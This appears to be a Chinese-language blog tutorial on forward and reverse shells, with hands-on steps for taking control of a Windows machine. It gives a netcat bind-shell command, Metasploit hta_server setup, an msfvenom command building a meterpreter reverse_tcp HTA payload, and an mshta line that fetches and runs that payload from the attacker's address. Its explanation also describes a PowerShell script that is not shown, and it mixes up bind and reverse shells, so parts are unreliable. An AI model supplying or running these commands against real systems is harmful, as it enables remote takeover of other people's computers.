什么是正向shell和反向shell
首先说,正向shell是控制端主动连接被控制端,通过目标主机开放一个监听端口等待其他主机访问,从而获得对目标主机的shell访问,优点是控制端可以整个控制目标主机,但缺点会受到防火墙的连,等网络安全的限制。
反向shell则是目标机器主动连接到攻击者的机器,通过在目标机器上执行操作访问攻击者的电脑建立的shell。这种方式的好处在于不需要担心防火墙的问题,因为连接是由目标机器发起的。然而,它也有缺点,即攻击者的IP地址必须能被目标机器访问,这通常要求攻击者拥有公网IP地址。
简而言之,正向shell是攻击者主动出击,而反向shell则是目标机器主动反击,两者在网络环境的要求和安全性上有所不同。
被控端
nc -lvvp 7777 -e cmd.exe
控制端
nc 192.168.1.17 7777
在这个例子中,攻击者的IP地址是192.168.1.17,端口是7777。受害者机器上的PowerShell脚本会创建一个TCPClient连接到这个地址和端口,并开始监听输入。每当输入数据时,它就会发送回给攻击者,并要求获取下一条命令。这样攻击者就可以在本地通过监听到的数据控制受害者机器。
二
第二种 通过mshta.exe 这个命令像是cobalstrike让攻击机上线是一个道理
mshta.exe是用于负责解释运行HTA文件的Windows OS实用程序·可以运行javascript或VBScript的HTML文件
是通过Metasoloit一个HTAwebserver模块进行的
msfconsole
use exploit/windows/misc/hta_server
set srvhost 192.168.1.19 本机IP
exploit -j
控制端 kali
被控制端 windows
小编这里执行了两次才成功,第一次为啥还不知道原因,由于网络的原因进度会有点慢。
通过msfvenom生成恶意hta文件
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.19 lport=4444 -f hta-psh -o 222.hta
mshta http://192.168.1.19:/222.hta 被控制端执行
查看http服务
反弹成功